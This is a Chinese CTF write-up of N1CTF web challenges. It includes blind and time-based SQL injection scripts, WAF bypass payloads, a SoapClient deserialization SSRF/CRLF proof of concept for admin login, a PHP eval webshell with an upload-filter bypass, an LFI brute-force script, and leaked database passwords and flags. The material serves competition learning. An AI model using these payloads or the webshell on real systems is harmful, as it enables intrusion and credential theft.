N1ctf-web学习

77777

队友写的...这里就分析一下就好 给了源码 blacsheep 而且题目也说了,我们要的是admin的密码 然后就注嘛,给两个payload 工作室这边的:where ord(substr(password,[position],1))>[number] -- sky的: where (password like 0x25) emmmm,第二个似乎简洁一点,就当学习一下了.. 没啥好写的

77777 2

可以通过hi来判断waf,过滤了password admin point ord ascii union left mid right information_schema order as and or having where等...(test by JHSN) 晚上想了很久怎么绕过列里面的password里面的as和or...最后想不出来..就先睡了,第二天发现题目解出来了,看了一下队友的payload,发现列名是pw,瞬间崩溃.... 依旧,两个payload 工作室的,发个记录自己体会... MitAh: DONE if((select {x pw})>'h',1,0) 黑魔法 别问了 JHSN: ??????? {x 列名}可以用来bypass,具体有篇文章 https://paper.seebug.org/218/ 然后sky的: flag=10&hi=%2b(pw>'%s') %s表示flag 多学习新姿势...

babysqli

二次注入,注入点都被找到了...无奈眼瞎没注意到payload执行了....(喂,不是说ctf没有视力嘛! 在userinfo那里 'or'1'='1 头像变成1.png 'or'1'='2 头像变成2.png 所以过掉waf之后就可以注了 其中因为information被ban了,所以用mysql_innodb_table_stats绕过 详情可以看http://mitah.cn/ 然后右边有个支付宝二维码XD... 列名提取不出来,猜email和password,拿到密码 登录一下,userinfo就是flag. 脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import re

u=requests.session()


for num2 in range(1,500):
ok=0
for char in range(33,129):

with open('jilu.txt','r') as f:
num=f.read()
num=int(num)+1
#payload = "1'or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/mysql_innodb_table_stats),{num2},1))>{char}#".format(num2=num2,char=char)
#gtid_executed,vimg,vusers,sys_config
payload = "1'or/**/ascii(substr((select/**/password/**/from/**/vusers/**/where/**/email='Venenof7@nu1l.com'),{num2},1))>{char}#".format(num2=num2,char=char)
# ac895b772a4ec1eff81e07aa2907afe3 -> qwqa123aa
# N1CTF{6302fa614d6bcfc59a65b71a7535bed3}
reg_data={'email':'infors{num}@nu1l.com'.format(num=num),'pass':'sleep)/*','userinfo':payload}
login_data={'loginuser':'infors{num}@nu1l.com'.format(num=num),'loginpass':'sleep)/*'}
with open('jilu.txt','w') as f:
f.write(str(num))

r=u.post('http://47.75.55.61/vlogin/reg.php',data=reg_data)
#print(r.text)
r=u.post('http://47.75.55.61/vlogin/login.php',data=login_data)
#print(r.text)
r=u.get('http://47.75.55.61/vlogin/vpage')
res = re.findall(r'<p>([^<]+)</p>',r.text)[0]
#print(res)
if '1.png' in r.text:
pass
else:
print(chr(char),end='')
break

if char==128:
ok=1
if ok==1:
break

注意先建一个jilu.txt,然后里面写一个数字,方便注册 flag:N1CTF{6302fa614d6bcfc59a65b71a7535bed3}

easy php

质量挺高的一道题,当时并没有写出来.... 乖乖姐姐最后知道怎么写了..但是时间到了.. 做出来的话就第12了...sad:( 比赛结束看各位大神的非预期解..感觉还是学得到很多东西的... 官方的大致思路sql注入拿到admin的密码,和登录ip,但是由于要本地登录,尝试寻找ssrf,然后加上crlf登录上去,然后传一个shell,然后绕过一下<?,可以用短标签或者script标签传个图马,lfi拿到shell之后在run.sh里面有mysql的root密码,连接上去拿到flag,当然还有sky大佬的session.upload_progress的利用,通过条件竞争传session然后包含拿shell...一个个技巧地学吧 首先这道题一拿到,看下源码泄漏,发现index.php~

1
2
3
4
5
6
7
8
<?php
require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
require_once 'views/'.$_GET['action'];
else
header('Location: index.php?action=login');
?>

泄漏,然后还有user.php~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
<?php

require_once 'config.php';

class Customer{
public $username, $userid, $is_admin, $allow_diff_ip;

public function __construct()
{
$this->username = isset($_SESSION['username'])?$_SESSION['username']:'';
$this->userid = isset($_SESSION['userid'])?$_SESSION['userid']:-1;
$this->is_admin = isset($_.0['is_admin'])?$_SESSION['is_admin']:0;
$this->get_allow_diff_ip();
}

public function check_login()
{
return isset($_SESSION['userid']);
}

public function check_username($username)
{
if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
return false;
else
return true;
}

private function is_exists($username)
{
$db = new Db();
@$ret = $db->select('username','ctf_users',"username='$username'");
if($ret->fetch_row())
return true;
else
return false;
}

public function get_allow_diff_ip()
{
if(!$this->check_login()) return 0;
$db = new Db();
@$ret = $db->select('allow_diff_ip','ctf_users','id='.$this->userid);
if($ret) {

$user = $ret->fetch_row();
if($user)
{
$this->allow_diff_ip = (int)$user[0];
return 1;
}
else
return 0;

}
}

function login()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code erroar");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name');
$db = new Db();
@$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1");

if($ret)
{

$user = $ret->fetch_row();
if($user) {
if ($user[4] == '0' && $user[2] !== get_ip())
die("You can only login at the usual address");
if ($user[3] == '1')
$_SESSION['is_admin'] = 1;
else
$_SESSION['is_admin'] = 0;
$_SESSION['userid'] = $user[0];
$_SESSION['username'] = $user[1];
$this->username = $user[1];
$this->userid = $user[0];
return true;
}
else
return false;

}
else
{
return false;
}

}
else
return false;

}

function register()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code error");
}
$username = $_POST['username'];
$password = md5($_POST['password']);

if(!$this->check_username($username))
die('Invalid user name');
if(!$this->is_exists($username)) {

$db = new Db();

@$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1'));
//No one could be admin except me
if($ret)
return true;
else
return false;

}

else {
die("The username is not unique");
}
}
else
{
return false;
}
}

function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {

$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic'])) {
if (upload($_FILES['pic'])){
echo 'upload ok!';
return true;
}
else {
echo "upload file error";
return false;
}
}
else
return false;


}

}

function showmess()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
//id,sig,mood,ip,country,subtime
$db = new Db();
@$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
if($ret) {
$data = array();
while ($row = $ret->fetch_row()) {
$sig = $row[1];
$mood = unserialize($row[2]);
$country = $mood->getcountry();
$ip = $mood->ip;
$subtime = $mood->getsubtime();
$allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
array_push($data, $allmess);
}
$data = json_encode(array('code'=>0,'data'=>$data));
return $data;
}
else
return false;

}
else
{
$filenames = scandir('adminpic/');
array_splice($filenames, 0, 2);
return json_encode(array('code'=>1,'data'=>$filenames));

}
}

function allow_diff_ip_option()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['adio'])){
$db = new Db();
@$ret = $db->update_single('ctf_users',"id = $this->userid",'allow_diff_ip',(int)$_POST['adio']);
if($ret)
return true;
else
return false;
}
}
else
echo 'admin can\'t change this option';
return false;
}

function deletemess()
{
if(!$this->check_login()) return false;
if(isset($_GET['delid'])) {
$delid = (int)$_GET['delid'];
$db = new Db;
@$ret = $db->delete('ctf_user_signature', "userid = $this->userid and id = '$delid'");
if($ret)
return true;
else
return false;
}
else
return false;
}

}
?>

config.php~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
<?php
header("Content-Type:text/html;charset=UTF-8");
date_default_timezone_set("PRC");

session_start();
class Db
{
private $servername = "localhost";
private $username = "Nu1L";
private $password = "Nu1Lpassword233334";
private $dbname = "nu1lctf";
private $conn;

function __construct()
{
$this->conn = new mysqli($this->servername, $this->username, $this->password, $this->dbname);
}

function __destruct()
{
$this->conn->close();
}

private function get_column($columns){

if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';

return $column;
}

public function select($columns,$table,$where) {

$column = $this->get_column($columns);

$sql = 'select '.$column.' from '.$table.' where '.$where.';';
$result = $this->conn->query($sql);

return $result;

}

public function insert($columns,$table,$values){

$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);

return $result;
}

public function delete($table,$where){

$sql = 'delete from '.$table.' where '.$where;
$result = $this->conn->query($sql);

return $result;
}

public function update_single($table,$where,$column,$value){

$sql = 'update '.$table.' set `'.$column.'` = \''.$value.'\' where '.$where;
$result = $this->conn->query($sql);

return $result;
}




}

class Mood{

public $mood, $ip, $date;

public function __construct($mood, $ip) {
$this->mood = $mood;
$this->ip = $ip;
$this->date = time();

}

public function getcountry()
{
$ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
$ip = json_decode($ip,true);
return $ip['data']['country'];
}

public function getsubtime()
{
$now_date = time();
$sub_date = (int)$now_date - (int)$this->date;
$days = (int)($sub_date/86400);
$hours = (int)($sub_date%86400/3600);
$minutes = (int)($sub_date%86400%3600/60);
$res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
return $res;
}


}

function get_ip(){
return $_SERVER['REMOTE_ADDR'];
}

function upload($file){
$file_size = $file['size'];
if($file_size>2*1024*1024) {
echo "pic is too big!";
return false;
}
$file_type = $file['type'];
if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
echo "file type invalid";
return false;
}
if(is_uploaded_file($file['tmp_name'])) {
$uploaded_file = $file['tmp_name'];
$user_path = "/app/adminpic";
if (!file_exists($user_path)) {
mkdir($user_path);
}
$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
$file_true_name = str_replace('/','',$file_true_name);
$file_true_name = str_replace('\\','',$file_true_name);
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
$move_to_file = $user_path."/".$file_true_name;
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
else
return false;
}
else
return false;
}
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
}
function rand_s($length = 8)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?';
$password = '';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}

function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all();
?>

然后发现views可以列目录 而且里面有个phpinfo可以查看,其他似乎没啥用.. 两个人一开始都是sql注入拿到admin的密码的.虽然sky大佬其实根本没有用到这个.... 给个脚本..我只跑了个表,其他的可以自己跑,反正什么都没有过滤....

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

u=requests.session()
cookie = {'PHPSESSID':'10t38onft8uf1dv1p15ro7vjr5'}
ok = 1
for num in range(1,500):
ok=0
for char in range(33,129):
payload = "aaa`,if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{num},1))={char}),sleep(3),1))#".format(num=num,char=char)
data = {'signature':payload,'mood':'2'}
try:
r=u.post('http://119.28.22.85:23333/index.php?action=publish',data=data,cookies=cookie,timeout=3)
except:
print(chr(char),end='')
break
if char==128:
ok=1
if ok == 1:
break

先看sky大佬的做法

sky大佬是看了session.upload_progress.enabled开启之后,包含session,但是因为cleanup开启,所以条件竞争发包拿shell 一个发session包 blacsheep 另一个请求session blacsheep 过一段时间去app目录拿菜刀连一下 blacsheep 然后看一下根目录的run.sh 找到

1
mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('Nu1Lctf%#~:p') WHERE user='root';FLUSH PRIVILEGES;"

然后就连一下数据库 blacsheep 然后连着看一下 blacsheep 拿到flag:n1ctf{php_unserialize_ssrf_crlf_injection_is_easy:p} ssrf_crlf.... 这就明显非预期了...

官方wp

官方的方法是反序列化那里,使用soapclient来构造ssrf,然后通过crlf发包登录,传马拿shell的,后面的都是一样的,不过我自己复现的时候从来都没有成功...打了payload之后虽然可以ssrf(用vps收到了发送的包),但是cookie并没有用,大概是玄学问题吧,后续等有时间复现成功了再来填坑吧...

当天晚上更新

打把文明5感觉舒服多了,回来把这个洞再打了一遍,终于找到了问题... 这里就把官方的wp复现一下吧 首先,soapclient了解一下 看phpinfo,发现

1
2
3
4
soap

Soap Client => enabled
Soap Server => enabled

然后学习一下SoapClient的用法,

1
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

然后第一个wsdl指的是web服务器的描述语言,xml之类的东西,这个无所谓,填null就好,后面的可以指定user-agent,location之类的,给个例子

1
2
3
4
5
6
7
8
9
$soapclient = new soapclient('http://www.soap.com/soap.php?wsdl',
array('stream_context' => stream_context_create(
array(
'http'=> array(
'user_agent' => 'PHP/SOAP')
)
)
)
);

返回的信息里ua就是PHP/SOAP了,最后还有个uri参数,会被传到SoapAction里,但是这个参数覆盖不了content-length,就不能控制我们要的登录,所以我们选择在ua那里crlf,方法如下: 给出官方的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=2218631';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=4deuuh449h5p807s0nid2k6i75'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

首先自己创建一个帐号,撞md5脚本简单写一个就好 然后去publish界面发表,burp抓包,发到repeater 然后再开一个浏览器,或者清掉cookie也行(清cookie的话请把返回主界面的包也抓了),刷新一下获取一个没有登录的cookie,然后code自己脚本撞一下,写到前面的php脚本里面,headers里面的cookie换没有登录的号的cookie,因为登录是使用新的cookie,跑一下,得到一串hex码,然后burp发包 blacsheep 在signature处注入,覆盖掉mood,使我们的soapclient对象可以反序列化从而完成ssrf (之前很蠢,没有控code,所以一直没有登录成功...XD..) 成功publish之后我们去访问一下index让我们的注入反序列化. ok,到这里我们再把cookie换成之前php脚本里写的cookie我们就是管理员了 blacsheep 然后审一下上传的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function upload($file){
$file_size = $file['size'];
if($file_size>2*1024*1024) {
echo "pic is too big!";
return false;
}
$file_type = $file['type'];
if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
echo "file type invalid";
return false;
}
if(is_uploaded_file($file['tmp_name'])) {
$uploaded_file = $file['tmp_name'];
$user_path = "/app/adminpic";
if (!file_exists($user_path)) {
mkdir($user_path);
}
$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
$file_true_name = str_replace('/','',$file_true_name);
$file_true_name = str_replace('\\','',$file_true_name);
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
$move_to_file = $user_path."/".$file_true_name;
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
else
return false;
}
else
return false;
}

这里写个一句话上去就好了,当然我们还得绕过,然后这里提供两种思路 一种是常见的

1
<script> language='php'>eval($_POST['cmd'])</script>

另外一种是官方给的,第一次见,学习一下

1
2
3
Using a feature of commands of linux
When we create a file like -xaaaaaaa.jpg
We could not delete it by rm * or rm *.jpg except rm -r adminpic/

即我们可以在.jpg文件前面加上一个-让文件不被删除 两种方法都可以 传完了在自己去暴破一下muma的名称就好了,时间的话用时间转时间戳就好,rand(1,100)暴破一下

1
2
3
4
import requests
for num in range(101):
r=requests.get('http://119.28.22.85:23333/index.php?action=../../../../../../app/adminpic/1muma1521034659{num}.jpg'.format(num=num))
print(str(num)+'->'+str(r.status_code))

然后同样可以拿到shell,拿到shell之后其他的都是一样的了